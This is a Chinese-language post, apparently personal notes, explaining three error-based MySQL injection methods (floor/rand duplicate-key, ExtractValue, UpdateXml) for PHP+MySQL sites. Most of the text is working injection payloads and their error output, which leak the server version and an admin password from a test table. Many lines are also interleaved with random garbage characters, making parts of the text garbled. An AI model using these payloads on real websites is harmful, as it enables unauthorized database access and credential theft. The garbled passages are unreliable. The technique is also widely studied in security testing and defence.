关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
6 C" \! _- V8 V1 o4 F实际测试环境：
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1 S# p/ s8 x0 f; s' }0 j5 smysql> show tables;
8 d& e6 U8 ~1 [- r/ v( D0 z) _+----------------+
7 n: a  I: A2 ?; E9 p| Tables_in_test |
# C& `) P$ Q2 r* q! C  w+ Y. e% D) H+----------------+
% {, }  ^2 p7 Q$ |7 B! G: D; y# k( a; S| admin          |
| article        |
; j4 `6 u6 `& M5 F+----------------+
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mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
" l1 Y# {5 d$ ~% ?+ v| Field | Type             | Null | Key | Default | Extra          |
2 S( B8 M: o$ Q+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
% g4 Z) ^' b9 U0 E; U& b| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

; b) b  e6 B1 ?, `$ ~
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mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
9 t/ ]6 ]/ r4 b  Q0 Y% \6 }| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
( K  S% |4 ~; _- e* [| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
# c0 l3 B7 r. V, g| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
8 N" y- L7 G" }" x1、通过floor报错
可以通过如下一些利用代码

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4 |; ~- Y7 u7 \and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

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and (select count(*) from (select 1 union select null union select !1)x
2 _: a; K1 H( F5 v2 g  d# Fgroup by concat((select table_name from information_schema.tables limit 1),
3 f% a, {7 N2 sfloor(rand(0)*2)));
举例如下：
首先进行正常查询：
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6 J  H6 e( n1 ~mysql> select * from article where id = 1;
. d2 W0 ?3 Z6 C: ]1 s1 p% r+----+-------+---------+
| id | title | content |
! \5 C7 W, |. Y2 i8 g+----+-------+---------+
. h* k5 `: _4 b' [|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。

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mysql> select * from article where id = 1 and (select 1 from
+ K( G/ v5 \5 c$ @(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
" J+ j, `0 Y6 \0 C2 d8 SERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
/ o* P* S$ O9 N0 D4 Y2 ?8 w可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
+ _8 m& k5 d- O. l8 c6 ?0 UMethod1:


mysql> select * from article where id = 1 and (select 1 from
0 N+ R4 {/ a- ]# ~0 T0 `(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. b: ], e' T& PMethod2:

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2 z5 p- H- @6 B+ h& Y4 v- Kmysql> select * from article where id = 1 and (select count(*)
! g( {9 V, Y' o3 I, I3 K. pfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
% I& y+ p  V' N( T0 ufloor(rand(0)*2)));
5 n3 a# n9 M0 ]0 @, J9 H' z# w% iERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
% O1 l  ?. |1 \& ?* m4 ~8 ]: P: P) l2、ExtractValue
9 X/ n" R2 R. |测试语句如下

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and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
' F4 F! C% o( L, [" z! p实际测试过程
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' N0 p, D7 S, s2 Z3 k7 Q5 w/ Fmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
* U: N) h  i% W  o5 B0 B- qERROR 1105 (HY000): XPATH syntax error: '\admin888'
( q2 m8 t5 [9 g6 X  I3、UpdateXml
测试语句


9 A2 k! _! o2 k' b- cand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
; p# Y3 u' a5 y4 b1 k(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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